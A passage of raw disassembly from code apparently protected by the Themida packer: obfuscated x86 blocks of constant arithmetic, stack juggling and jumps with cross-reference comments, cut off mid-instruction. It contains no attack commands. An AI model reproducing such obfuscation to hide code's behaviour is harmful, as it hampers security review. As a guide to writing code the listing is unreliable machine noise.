add esp, 4 shr eax, 12h xor eax, ecx sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_5999B3 ; --------------------------------------------------------------------------- loc_59C329: ; CODE XREF: Themida_:00592282j add esi, 0D0AE5189h sub eax, esi mov esi, [esp] jmp loc_5A365A ; --------------------------------------------------------------------------- loc_59C339: ; CODE XREF: Themida_:005A40EFj xchg ebx, [esp] pop esp dec edx push 40EAh mov [esp], eax mov eax, 34EF380Bh add edx, 218D2EF9h add edx, eax jmp loc_59967A ; --------------------------------------------------------------------------- loc_59C358: ; CODE XREF: Themida_:0059833Bj pop esp push edx push edi push eax mov eax, 6D6B012Ch xor eax, 576C44F9h shr eax, 8 neg eax xor eax, 0DCF0D3CCh mov edi, eax pop eax jmp loc_5A22E2 ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp add edi, 4 jmp loc_59DFA1 ; --------------------------------------------------------------------------- loc_59C38A: ; CODE XREF: Themida_:00595D53j push edi mov edi, 6DA25331h jmp loc_595E32 ; --------------------------------------------------------------------------- loc_59C395: ; CODE XREF: Themida_:0059965Dj mov eax, 0E1ED33C8h sub ebx, eax pop eax sub eax, ebx pop ebx push esi jmp loc_5A56FE ; --------------------------------------------------------------------------- loc_59C3A6: ; CODE XREF: Themida_:005A1F91j not cl xchg cl, ah add ah, 0FFh jmp loc_591115 ; --------------------------------------------------------------------------- loc_59C3B2: ; CODE XREF: Themida_:0059D5BAj pop cx xor dh, al pop eax push cx mov cl, 3Fh add al, cl mov cx, [esp] add esp, 2 sub al, dh sub al, 3Fh mov edx, [esp] add esp, 4 jmp loc_598EAF ; --------------------------------------------------------------------------- loc_59C3D9: ; CODE XREF: Themida_:0059DB60j xor esi, 1092789Ah xor ebx, esi push dword ptr [esp] pop esi add esp, 4 loc_59C3EB: ; CODE XREF: Themida_:0059E757j push 5DC8h jmp loc_59DC5B ; --------------------------------------------------------------------------- loc_59C3F5: ; CODE XREF: Themida_:00595B95j xor ecx, 0B2620CAh shr ecx, 5 sub ecx, 3C8020Eh push ecx mov ecx, 4D07039Ah sub ecx, 662D2FE1h or ecx, 480B30FDh jmp loc_59D4A9 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp mov esi, [esp] add esp, 4 push eax jmp loc_59316A ; --------------------------------------------------------------------------- loc_59C42D: ; CODE XREF: Themida_:0059DE24j or ebp, 3D9B0FE7h jmp loc_598C5D ; --------------------------------------------------------------------------- loc_59C438: ; CODE XREF: Themida_:0059CD7Dj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 jmp loc_598C6F ; --------------------------------------------------------------------------- loc_59C452: ; CODE XREF: Themida_:0059FB5Aj neg ebp or ebp, 480A2E5Dh jmp loc_5938C0 ; --------------------------------------------------------------------------- loc_59C45F: ; CODE XREF: Themida_:0059CAFAj sub ebx, eax push ecx mov ecx, 24305ADEh jmp loc_593F0F ; --------------------------------------------------------------------------- loc_59C46C: ; CODE XREF: Themida_:0059E54Ej push dword ptr [esp+4] jmp loc_599090 ; --------------------------------------------------------------------------- loc_59C475: ; CODE XREF: Themida_:0059ECDAj pop eax sub edi, 0E2F1E29h jmp loc_59DFC9 ; --------------------------------------------------------------------------- loc_59C481: ; CODE XREF: Themida_:0059BB32j inc ebx xor ebx, 0BFEAE30Ah jmp loc_5972A4 ; --------------------------------------------------------------------------- loc_59C48D: ; CODE XREF: Themida_:005A4B27j sub ch, 56h xor ch, 0ADh jmp loc_59AAB5 ; --------------------------------------------------------------------------- loc_59C498: ; CODE XREF: Themida_:0059BB3Dj shl edi, 3 push ebp push ebx push ecx mov ecx, 0D1127AFAh mov ebx, ecx jmp loc_5A4B08 ; --------------------------------------------------------------------------- loc_59C4AA: ; CODE XREF: Themida_:005A196Dj and ecx, eax push dword ptr [esp] pop eax sub esp, 4 mov [esp], eax jmp loc_59EA4C ; --------------------------------------------------------------------------- loc_59C4BE: ; CODE XREF: Themida_:005A4054j push ecx jmp loc_5939EB ; --------------------------------------------------------------------------- loc_59C4C4: ; CODE XREF: Themida_:0059B204j add esp, 4 add edx, 2 xor edx, [esp] jmp loc_5A22D0 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push ebx mov ebx, esp jmp loc_590687 ; --------------------------------------------------------------------------- loc_59C4E6: ; CODE XREF: Themida_:005A3E31j sub edx, 4 push edx push dword ptr [esp+4] jmp loc_5945F4 ; --------------------------------------------------------------------------- loc_59C4F3: ; CODE XREF: Themida_:00590FC9j push 2B17h mov [esp], esi push edx push 394702EEh pop edx or edx, 45880FD3h jmp loc_591909 ; --------------------------------------------------------------------------- loc_59C50D: ; CODE XREF: Themida_:0059A210j sub esp, 4 mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_5A17D6 ; --------------------------------------------------------------------------- loc_59C520: ; CODE XREF: Themida_:005913BFj sub ebp, edx mov edx, [esp] add esp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push esp pop ebp push ecx push ebx push 4E8B1320h jmp loc_5A1052 ; --------------------------------------------------------------------------- loc_59C53D: ; CODE XREF: Themida_:005A1E01j push esi jmp loc_59AA48 ; --------------------------------------------------------------------------- loc_59C543: ; CODE XREF: Themida_:00599549j add esp, 4 jmp loc_5A39B6 ; --------------------------------------------------------------------------- loc_59C54E: ; CODE XREF: Themida_:00591127j xchg ebx, [esp] mov esp, [esp] mov eax, [esp] push ebp push esi jmp loc_59CFAD ; --------------------------------------------------------------------------- loc_59C55E: ; CODE XREF: Themida_:005A4BD2j push esp push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push esi jmp loc_598109 ; --------------------------------------------------------------------------- loc_59C574: ; CODE XREF: Themida_:00592524j mov ebp, 5DC71B19h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push ebx mov ebx, 52C82E52h mov esi, ebx mov ebx, [esp] add esp, 4 push eax mov eax, 254D3DC9h jmp loc_5959ED ; --------------------------------------------------------------------------- loc_59C5AB: ; CODE XREF: Themida_:00592CFCj add ecx, 4 xchg ecx, [esp] jmp loc_5A3815 ; --------------------------------------------------------------------------- loc_59C5B9: ; CODE XREF: Themida_:00595E8Fj xor edx, edx jmp loc_59B3E7 ; --------------------------------------------------------------------------- loc_59C5C0: ; CODE XREF: Themida_:0059BDE3j add esp, 4 jmp loc_5A0CC8 ; --------------------------------------------------------------------------- loc_59C5C8: ; CODE XREF: Themida_:00594E56j push ecx mov ch, 81h sub al, 3Ch sub al, ch push 1F7h mov [esp], edx mov dh, 0C9h xor dh, 0F5h add al, dh pop edx mov ecx, [esp] add esp, 4 jmp loc_59DE3C ; --------------------------------------------------------------------------- loc_59C5ED: ; CODE XREF: Themida_:005951D4j xor esi, 6AB572FEh add esi, 43F0607Bh push eax mov eax, 5481532Ah neg eax jmp loc_5A402A ; --------------------------------------------------------------------------- loc_59C606: ; CODE XREF: Themida_:0059B353j add ebp, edi sub ebp, 30E446Bh jmp loc_59D43B ; --------------------------------------------------------------------------- loc_59C613: ; CODE XREF: Themida_:005A4A13j push ebp push ebx jmp loc_59D153 ; --------------------------------------------------------------------------- loc_59C61A: ; CODE XREF: Themida_:00597B46j mov dh, 6Dh add dh, 0C7h shl dh, 4 add dh, 2Eh xor cl, dh pop edx sub al, 0A3h add al, cl add al, 0A3h pop ecx mov edx, [esp] add esp, 4 push dx mov dl, 8Bh xor dl, 0D4h jmp loc_59C715 ; --------------------------------------------------------------------------- loc_59C641: ; CODE XREF: Themida_:0059EC9Dj sub eax, 47096E9Bh push edi mov edi, 0DB753FBh shr edi, 2 sub esp, 4 mov [esp], ebx mov ebx, 95274EBh inc ebx jmp loc_59DFF2 ; --------------------------------------------------------------------------- loc_59C663: ; CODE XREF: Themida_:00598B39j mov edi, 4 add ebx, edi jmp loc_596806 ; --------------------------------------------------------------------------- loc_59C66F: ; CODE XREF: Themida_:00595A95j pop esi push ebp jmp loc_597C41 ; --------------------------------------------------------------------------- loc_59C676: ; CODE XREF: Themida_:0059C965j add ecx, 35CF63B7h or ecx, 0B833D6Dh sub ecx, 1DF2594Fh or ecx, 54F745B4h or ecx, 2F616D2Bh add ecx, 0F96CED61h push ebp jmp loc_59AB95 ; --------------------------------------------------------------------------- loc_59C6A0: ; CODE XREF: Themida_:005952C6j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 7C2857FBh dec ecx push ebx jmp loc_59ACF7 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push 2C43h mov [esp], ecx push edx jmp loc_59E2F8 ; --------------------------------------------------------------------------- loc_59C6D7: ; CODE XREF: Themida_:005951F9j push ecx jmp loc_5975A4 ; --------------------------------------------------------------------------- loc_59C6DD: ; CODE XREF: Themida_:0059DA3Ej add edx, 4 jmp loc_59153E ; --------------------------------------------------------------------------- loc_59C6E8: ; CODE XREF: Themida_:005956DCj and edi, ecx mov ecx, [esp] push 7CE6h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edi push esi jmp loc_599BA2 ; --------------------------------------------------------------------------- loc_59C70B: ; CODE XREF: Themida_:0059C26Fj sub ecx, ebp mov ebp, [esp] jmp loc_59511E ; --------------------------------------------------------------------------- loc_59C715: ; CODE XREF: Themida_:0059C63Cj not dl dec dl push ebx mov bh, 53h add dl, bh pop ebx push dx jmp loc_5936DD ; --------------------------------------------------------------------------- loc_59C726: ; CODE XREF: Themida_:005A2A48j push 36CDh mov [esp], esp jmp loc_592437 ; --------------------------------------------------------------------------- loc_59C733: ; CODE XREF: Themida_:0059CF4Aj inc ecx jmp loc_5A3ABA ; --------------------------------------------------------------------------- loc_59C739: ; CODE XREF: Themida_:005A1BD7j xchg ecx, [esp] mov esp, [esp] mov [esp], esi push eax push ebx mov ebx, 4BD62D2Dh jmp loc_5A4491 ; --------------------------------------------------------------------------- loc_59C74E: ; CODE XREF: Themida_:00590D11j add edi, 4 push 2ADDh mov [esp], edx mov edx, 4 jmp loc_5A145B ; --------------------------------------------------------------------------- loc_59C766: ; CODE XREF: Themida_:0059E467j add esp, 4 jmp loc_5A407D ; --------------------------------------------------------------------------- loc_59C771: ; CODE XREF: Themida_:0059955Cj mov esi, [esp] add esp, 4 add ebp, 4 jmp loc_5941B4 ; --------------------------------------------------------------------------- loc_59C77F: ; CODE XREF: Themida_:005963BBj mov ecx, 5E4A29F3h add ebx, 1AA9427Dh sub ebx, ecx sub ebx, 1AA9427Dh pop ecx push eax mov eax, esp jmp loc_5A4662 ; --------------------------------------------------------------------------- loc_59C79B: ; CODE XREF: Themida_:005A1DC1j add eax, 7515752h pop ecx sub edx, eax pop eax xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], eax mov eax, 43D5111Ch push 13BAh mov [esp], eax push esi mov esi, 6F8607AFh xor [esp+4], esi pop esi push dword ptr [esp] pop ebp push eax mov eax, esp jmp loc_5A2290 ; --------------------------------------------------------------------------- loc_59C7D7: ; CODE XREF: Themida_:005994CBj and ecx, edx push dword ptr [esp] pop edx jmp loc_5992CF ; --------------------------------------------------------------------------- loc_59C7E2: ; CODE XREF: Themida_:00591CA4j push 26DDh mov [esp], edx push esp mov edx, [esp] jmp loc_59B6BE ; --------------------------------------------------------------------------- loc_59C7F3: ; CODE XREF: Themida_:005918BFj push ebp mov ebp, 6C6B45D5h jmp loc_590692 ; --------------------------------------------------------------------------- loc_59C7FE: ; CODE XREF: Themida_:005A31C1j mov [esp], cx mov cl, 12h add al, cl pop cx push cx mov cl, 0A0h add al, cl pop cx push ecx mov cl, 0Dh add al, cl mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add al, bl jmp loc_5A1E23 ; --------------------------------------------------------------------------- loc_59C82F: ; CODE XREF: Themida_:00591A0Aj sub dword ptr [esp+4], 52CD2DF1h pop edi pop ebx push esi mov esi, 4 add ebx, esi jmp loc_5A1BF4 ; --------------------------------------------------------------------------- loc_59C846: ; CODE XREF: Themida_:005A453Aj add edi, ecx pop ecx jmp loc_59D908 ; --------------------------------------------------------------------------- loc_59C84E: ; CODE XREF: Themida_:005A1FAEj push 28B9h jmp loc_597DF6 ; --------------------------------------------------------------------------- loc_59C858: ; CODE XREF: Themida_:00592208j add edi, 29844384h add edi, esi sub edi, 29844384h pop esi jmp loc_59F491 ; --------------------------------------------------------------------------- loc_59C86C: ; CODE XREF: Themida_:005A3CBDj inc ecx shl ecx, 6 sub ecx, 0B2EAB421h or ebx, ecx mov ecx, [esp] add esp, 4 xor ebx, 772770A3h push edx mov edx, 53B92FDBh jmp loc_5968B5 ; --------------------------------------------------------------------------- loc_59C892: ; CODE XREF: Themida_:00598C37j mov ebp, 4C87554Eh xor ebp, 3B1DFF57h mov edx, ebp pop ebp sub edx, esi pop esi jmp loc_596AEB ; --------------------------------------------------------------------------- loc_59C8A8: ; CODE XREF: Themida_:005A0760j mov ebp, [esp] jmp loc_597232 ; --------------------------------------------------------------------------- loc_59C8B0: ; CODE XREF: Themida_:0059C2E5j mov ecx, 668E0428h jmp loc_598C15 ; --------------------------------------------------------------------------- loc_59C8BA: ; CODE XREF: Themida_:0059D924j neg edx sub edx, 4A892C8Bh add edx, 1B8748DDh dec edx sub edx, 14CF925Ch and esi, edx jmp loc_596B09 ; --------------------------------------------------------------------------- loc_59C8D6: ; CODE XREF: Themida_:0059D436j push esi jmp loc_5A1AF3 ; --------------------------------------------------------------------------- loc_59C8DC: ; CODE XREF: Themida_:0059A61Cj sub esp, 4 jmp loc_5A4403 ; --------------------------------------------------------------------------- loc_59C8E4: ; CODE XREF: Themida_:00596BC1j mov eax, 4FE616ABh jmp loc_59ED0D ; --------------------------------------------------------------------------- loc_59C8EE: ; CODE XREF: Themida_:0059373Cj mov ecx, 35752910h shr ecx, 7 or ecx, 68BD7014h jmp loc_595D4A ; --------------------------------------------------------------------------- loc_59C901: ; CODE XREF: Themida_:005A2682j sub edx, ecx jmp loc_5A176C ; --------------------------------------------------------------------------- loc_59C908: ; CODE XREF: Themida_:0059999Ej dec ebp xor ebp, 18B25179h xor ebx, ebp jmp loc_59CD5C ; --------------------------------------------------------------------------- loc_59C916: ; CODE XREF: Themida_:00593104j xor ebp, [esp] jmp loc_595FD2 ; --------------------------------------------------------------------------- loc_59C91E: ; CODE XREF: Themida_:005977A8j xchg ebx, [esp] jmp loc_593111 ; --------------------------------------------------------------------------- loc_59C926: ; CODE XREF: Themida_:005A1506j dec ecx add ecx, 87B1C5D3h add edx, ecx pop ecx xchg edx, [esp] jmp loc_59EC3B ; --------------------------------------------------------------------------- loc_59C938: ; CODE XREF: Themida_:00590E10j mov [esp], esi jmp loc_59B9F0 ; --------------------------------------------------------------------------- loc_59C940: ; CODE XREF: Themida_:00591A6Bj add ebp, ebx sub ebp, 196D0062h jmp loc_5A1B38 ; --------------------------------------------------------------------------- mov cx, [esp] push 4427h mov [esp], esi push esp pop esi jmp loc_5A4222 ; --------------------------------------------------------------------------- loc_59C960: ; CODE XREF: Themida_:005958E6j mov ecx, 591F2F6Bh jmp loc_59C676 ; --------------------------------------------------------------------------- loc_59C96A: ; CODE XREF: Themida_:0059FA41j push ecx mov ecx, 0D021E2Dh and ecx, 2E4858EDh dec ecx push ecx inc dword ptr [esp] pop ecx add ecx, 0FFFFFFFFh xor ecx, 58086134h add ecx, 0ABF786ECh jmp loc_5920D8 ; --------------------------------------------------------------------------- loc_59C993: ; CODE XREF: Themida_:0059207Ej pop ebp add esp, 4 or eax, 76BA29CBh jmp loc_59E9D2 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_592EEC ; --------------------------------------------------------------------------- loc_59C9AD: ; CODE XREF: Themida_:00598770j mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, 668371D8h add eax, ebx add eax, 668371D8h pop ebx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp or eax, eax jz loc_5A077A push dword ptr [edi+1Ch] push 57Ah mov [esp], esi push ecx push 5DAA6AD3h pop ecx dec ecx push esi jmp loc_593C9D ; --------------------------------------------------------------------------- loc_59C9F2: ; CODE XREF: Themida_:005974BBj mov esi, ebp pop ebp jmp loc_59F1A7 ; --------------------------------------------------------------------------- loc_59C9FA: ; CODE XREF: Themida_:00592C38j sub edx, 3F1914F4h add edx, eax push eax mov eax, 2C4F2B53h push 54E4h jmp loc_5A0FAB ; --------------------------------------------------------------------------- loc_59CA12: ; CODE XREF: Themida_:00594441j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_5975AA ; --------------------------------------------------------------------------- loc_59CA33: ; CODE XREF: Themida_:005A2A1Ej add ecx, 728103CBh sub ecx, ebx sub ecx, 728103CBh pop ebx and eax, ecx pop ecx or eax, eax jz loc_592E35 push ebx jmp loc_59A1D8 ; --------------------------------------------------------------------------- loc_59CA53: ; CODE XREF: Themida_:0059385Bj mov ebp, 2AB33F79h mov esi, 2AB33F7Bh xor esi, ebp jmp loc_5A3E62 ; --------------------------------------------------------------------------- loc_59CA64: ; CODE XREF: Themida_:005A5075j pop esi add eax, 7D086Eh add eax, ecx sub eax, 7D086Eh mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, 1DD508F1h sub edx, 4F9E68F7h push edx push ebx pop edx mov ebx, [esp] add esp, 4 not ebx xor edx, ebx xor ebx, edx xor edx, ebx push ecx mov ecx, 2F820B61h sub edx, ecx pop ecx sub esp, 4 mov [esp], ecx mov ecx, 0BB6A4526h sub edx, ecx pop ecx add ebx, edx mov edx, [esp] add esp, 4 sub ebx, eax sub esp, 4 mov [esp], edx jmp loc_59AC1A ; --------------------------------------------------------------------------- loc_59CAD3: ; CODE XREF: Themida_:00594F39j mov [esp], edi push 6ADEh jmp loc_5A14A3 ; --------------------------------------------------------------------------- loc_59CAE0: ; CODE XREF: Themida_:005A50EEj mov ebx, esi pop esi jmp loc_59E1A6 ; --------------------------------------------------------------------------- loc_59CAE8: ; CODE XREF: Themida_:00591DB8j sub ebp, eax pop eax xchg ebp, [esp] pop esp jmp loc_598809 ; --------------------------------------------------------------------------- loc_59CAF4: ; CODE XREF: Themida_:005A5359j sub ebx, 4B542116h jmp loc_59C45F ; --------------------------------------------------------------------------- loc_59CAFF: ; CODE XREF: Themida_:0059BB50j mov esi, esp add esi, 4 jmp loc_59FA83 ; --------------------------------------------------------------------------- loc_59CB0C: ; CODE XREF: Themida_:0059BD2Cj add esp, 4 push edx push esp jmp loc_5A4213 ; --------------------------------------------------------------------------- loc_59CB16: ; CODE XREF: Themida_:00590E95j mov ebx, 2A74235Dh xor ebx, edx pop edx add ebp, 28FF3F9Dh add ebp, ebx sub ebp, 28FF3F9Dh pop ebx push eax mov eax, 4 add ebp, eax jmp loc_59792D ; --------------------------------------------------------------------------- loc_59CB3A: ; CODE XREF: Themida_:00595A4Ej push bx mov bl, 96h xor dl, bl jmp loc_5A1A5C ; --------------------------------------------------------------------------- loc_59CB45: ; CODE XREF: Themida_:00597D8Aj add ebp, 4 xchg ebp, [esp] jmp loc_5A1A18 ; --------------------------------------------------------------------------- loc_59CB53: ; CODE XREF: Themida_:00595677j mov bh, 4Fh push edx jmp loc_59BB08 ; --------------------------------------------------------------------------- loc_59CB5B: ; CODE XREF: Themida_:0059F859j add edi, 4 push 2ED0h mov [esp], edi push dword ptr [esp+4] jmp loc_5A0EE4 ; --------------------------------------------------------------------------- loc_59CB72: ; CODE XREF: Themida_:0059754Bj mov [esp], eax mov eax, 2570592h jmp loc_594DA2 ; --------------------------------------------------------------------------- loc_59CB7F: ; CODE XREF: Themida_:00598BEBj add edx, 4A45411Dh pop edi push edi mov edi, 2 jmp loc_59357A ; --------------------------------------------------------------------------- loc_59CB91: ; CODE XREF: Themida_:005A43F6j add ebp, 661F4A59h jmp loc_5A1567 ; --------------------------------------------------------------------------- loc_59CB9C: ; CODE XREF: Themida_:0059033Fj xchg esi, [esp] mov ecx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 push ecx push ebp push 674B4770h pop ebp sub ebp, 674B476Ch mov ecx, ebp pop ebp add ebp, ecx pop ecx xchg ebp, [esp] pop esp sub esp, 4 mov [esp], eax push ecx mov ecx, esp push eax jmp loc_5A2252 ; --------------------------------------------------------------------------- loc_59CBDD: ; CODE XREF: Themida_:00590D53j rol word ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59CBE7: ; CODE XREF: Themida_:005937ABj sub esi, edx pop edx and esi, 2B661709h jmp loc_597FD0 ; --------------------------------------------------------------------------- loc_59CBF5: ; CODE XREF: Themida_:0059DEEBj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59CC09: ; CODE XREF: Themida_:00590EEEj add esp, 4 jmp loc_59A4C2 ; --------------------------------------------------------------------------- loc_59CC11: ; CODE XREF: Themida_:00590B18j sub ebp, 70C128F0h pop esi xchg ebp, [esp] pop esp push 992h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or eax, eax jnz loc_5A541E push ebp push 26C23F8Bh mov ebp, [esp] jmp loc_596F0F ; --------------------------------------------------------------------------- loc_59CC4C: ; CODE XREF: Themida_:00597FBBj pop ebp add edx, edi push dword ptr [esp] pop edi add esp, 4 xchg edx, [esp] mov esp, [esp] xor ebx, eax push dword ptr [eax] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59CC68: ; CODE XREF: Themida_:005908DAj xchg esi, [esp] pop esp push ebx jmp loc_59D55A ; --------------------------------------------------------------------------- loc_59CC72: ; CODE XREF: Themida_:00599629j add esp, 2 jmp loc_5A300B ; --------------------------------------------------------------------------- loc_59CC7D: ; CODE XREF: Themida_:0059F0BBj add esp, 4 push small word ptr [eax] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59CC88: ; CODE XREF: Themida_:00594577j pop esi sub edx, eax pop eax jmp loc_59ADB0 ; --------------------------------------------------------------------------- loc_59CC91: ; CODE XREF: Themida_:00594157j pop esi push 0ACEh mov [esp], eax mov eax, 0D571704h xor eax, 0D571700h push ecx mov ecx, 146A03C4h add ecx, 4DE06122h and ecx, 76C94BB7h jmp loc_5922E0 ; --------------------------------------------------------------------------- loc_59CCBB: ; CODE XREF: Themida_:0059E89Bj mov edx, 0A96E141Dh xor ebx, edx jmp loc_596BDE ; --------------------------------------------------------------------------- loc_59CCC7: ; CODE XREF: Themida_:00597216j mov di, dx jmp loc_596103 ; --------------------------------------------------------------------------- loc_59CCCF: ; CODE XREF: Themida_:005A2E04j shl ebp, 3 jmp loc_594759 ; --------------------------------------------------------------------------- loc_59CCD7: ; CODE XREF: Themida_:0059CF72j mov ecx, [esp] add esp, 4 push 5D3Dh mov [esp], esi mov esi, esp push edi mov edi, 184162EBh push ecx mov ecx, 227C3EC7h dec ecx shl ecx, 3 jmp loc_596FE1 ; --------------------------------------------------------------------------- loc_59CCFF: ; CODE XREF: Themida_:0059DD01j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_59EEC1 ; --------------------------------------------------------------------------- loc_59CD12: ; CODE XREF: Themida_:00590DB7j sub eax, 0A1E6306h pop esi jmp loc_5A4C43 ; --------------------------------------------------------------------------- loc_59CD1D: ; CODE XREF: Themida_:0059A605j add ebx, ecx pop ecx pop ecx push eax mov eax, 2 push eax mov eax, 7CEE79C0h add eax, 47827C13h or eax, 1A032382h neg eax shr eax, 4 xor eax, 7AE94E74h add eax, 0A63BB84Ah sub ebx, eax pop eax jmp loc_593986 ; --------------------------------------------------------------------------- loc_59CD4E: ; CODE XREF: Themida_:00594D02j add ebp, 0D3DAD7Eh sub esi, ebp pop ebp jmp loc_593976 ; --------------------------------------------------------------------------- loc_59CD5C: ; CODE XREF: Themida_:0059C911j pop ebp inc ebx sub ebx, 7B1E206Eh mov esi, ebx pop ebx add eax, 7B2E2D02h add eax, esi sub eax, 7B2E2D02h pop esi push edi mov edi, 4 add eax, edi pop edi jmp loc_59C438 ; --------------------------------------------------------------------------- loc_59CD82: ; CODE XREF: Themida_:00597206j mov edx, [esp] add esp, 4 push ebx jmp loc_591975 ; --------------------------------------------------------------------------- loc_59CD8E: ; CODE XREF: Themida_:0059AE6Bj mov bl, dh pop edx push ecx mov cl, 81h jmp loc_5948EB ; --------------------------------------------------------------------------- loc_59CD99: ; CODE XREF: Themida_:0059E681j pop ebx xor edi, [esp] xor [esp], edi jmp loc_5943F9 ; --------------------------------------------------------------------------- mov ax, [esp] push 68D7h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_597550 ; --------------------------------------------------------------------------- loc_59CDBE: ; CODE XREF: Themida_:005A3F82j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] imul ecx, eax jmp loc_598BF0 ; --------------------------------------------------------------------------- loc_59CDE7: ; CODE XREF: Themida_:0059604Aj pop ebp inc ebp add ebp, 24FC45A9h add ebx, ebp pop ebp add ebx, 2 xchg ebx, [esp] pop esp sub al, 0A4h sub al, bl push edx mov dl, 64h jmp loc_5A278B ; --------------------------------------------------------------------------- loc_59CE08: ; CODE XREF: Themida_:0059F6D9j shl edi, 6 or edi, 3C5D6026h xor edi, 4B68E41Fh add edx, edi mov edi, [esp] add esp, 4 jmp loc_595CD9 ; --------------------------------------------------------------------------- loc_59CE24: ; CODE XREF: Themida_:0059A05Aj mov [esp], esp add dword ptr [esp], 4 pop esi push 27B8h mov [esp], edi mov edi, 4 push edi mov edi, 58FB205Dh add esi, edi pop edi add esi, edi sub esi, 58FB205Dh mov edi, [esp] add esp, 4 jmp loc_5A0B52 ; --------------------------------------------------------------------------- loc_59CE55: ; CODE XREF: Themida_:0059A4C3j pop ebx inc cl add cl, 0D5h not cl add cl, 67h jmp loc_5921AE ; --------------------------------------------------------------------------- loc_59CE65: ; CODE XREF: Themida_:00596C19j mov eax, 4CE10E0Fh neg eax xor eax, 9CEC85A5h xor esi, eax pop eax push edi mov edi, 58007C7h xor esi, edi jmp loc_59EBC2 ; --------------------------------------------------------------------------- loc_59CE81: ; CODE XREF: Themida_:0059427Aj pop eax push edi mov edi, esp push esi jmp loc_597BBF ; --------------------------------------------------------------------------- loc_59CE8B: ; CODE XREF: Themida_:0059DAABj pop esp add esp, 4 sub esp, 4 jmp loc_598C9C ; --------------------------------------------------------------------------- loc_59CE9A: ; CODE XREF: Themida_:005934D9j add ebx, 2 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx jmp loc_594F09 ; --------------------------------------------------------------------------- loc_59CEB3: ; CODE XREF: Themida_:005A29C0j movzx cx, ah push small 6098h mov [esp], cx movzx cx, al push cx pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59CECB: ; CODE XREF: Themida_:0059D728j add [esp+4], ebx push edx push ecx mov ecx, 5914666h shr ecx, 7 xor ecx, 6A19746Ah mov edx, ecx jmp loc_598047 ; --------------------------------------------------------------------------- loc_59CEE6: ; CODE XREF: Themida_:005A38D0j mov [esp], esi jmp loc_59B212 ; --------------------------------------------------------------------------- loc_59CEEE: ; CODE XREF: Themida_:0059BC3Dj mov edx, [esp] jmp loc_596F44 ; --------------------------------------------------------------------------- loc_59CEF6: ; CODE XREF: Themida_:005A03B2j pop esi sub ecx, ebp push edx mov edx, 46EC6EDDh jmp loc_592F9B ; --------------------------------------------------------------------------- loc_59CF04: ; CODE XREF: Themida_:005923EEj mov ecx, ebp pop ebp add ecx, 1A1105E5h add ecx, 0E3E5F288h add esi, ecx pop ecx jmp loc_594981 ; --------------------------------------------------------------------------- loc_59CF1B: ; CODE XREF: Themida_:005A4280j push eax mov al, 0DBh mov ch, al pop eax jmp loc_5A41FE ; --------------------------------------------------------------------------- loc_59CF26: ; CODE XREF: Themida_:0059B1C8j pop edi push 4DB6h mov [esp], ebp mov ebp, 473A4976h add ebp, 0B8C5B68Ch add eax, ebp pop ebp xchg eax, [esp] jmp loc_59D787 ; --------------------------------------------------------------------------- loc_59CF45: ; CODE XREF: Themida_:0059D2B4j mov ecx, 48534E36h jmp loc_59C733 ; --------------------------------------------------------------------------- loc_59CF4F: ; CODE XREF: Themida_:0059F240j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] movzx cx, al sub esp, 4 mov [esp], ecx push esp push dword ptr [esp] jmp loc_59CCD7 ; --------------------------------------------------------------------------- loc_59CF77: ; CODE XREF: Themida_:005A2111j sub al, 0CAh push dword ptr [esp] jmp loc_599590 ; --------------------------------------------------------------------------- loc_59CF81: ; CODE XREF: Themida_:00599B84j and ebx, 0E887B93h sub ebx, 0FA781B29h add ebx, ebp pop ebp shr ebx, 3 sub ebx, 4A413639h sub ebx, 7F612221h jmp loc_59526E ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5A2943 ; --------------------------------------------------------------------------- loc_59CFAD: ; CODE XREF: Themida_:0059C559j mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5956E1 ; --------------------------------------------------------------------------- loc_59CFCA: ; CODE XREF: Themida_:005978FFj add eax, ebx pop ebx sub esp, 4 mov [esp], esi mov esi, 0C835FB1h add esi, 1C266F60h and esi, 7D296AC4h and esi, 33435F31h push edx mov edx, esp add edx, 4 sub edx, 4 xchg 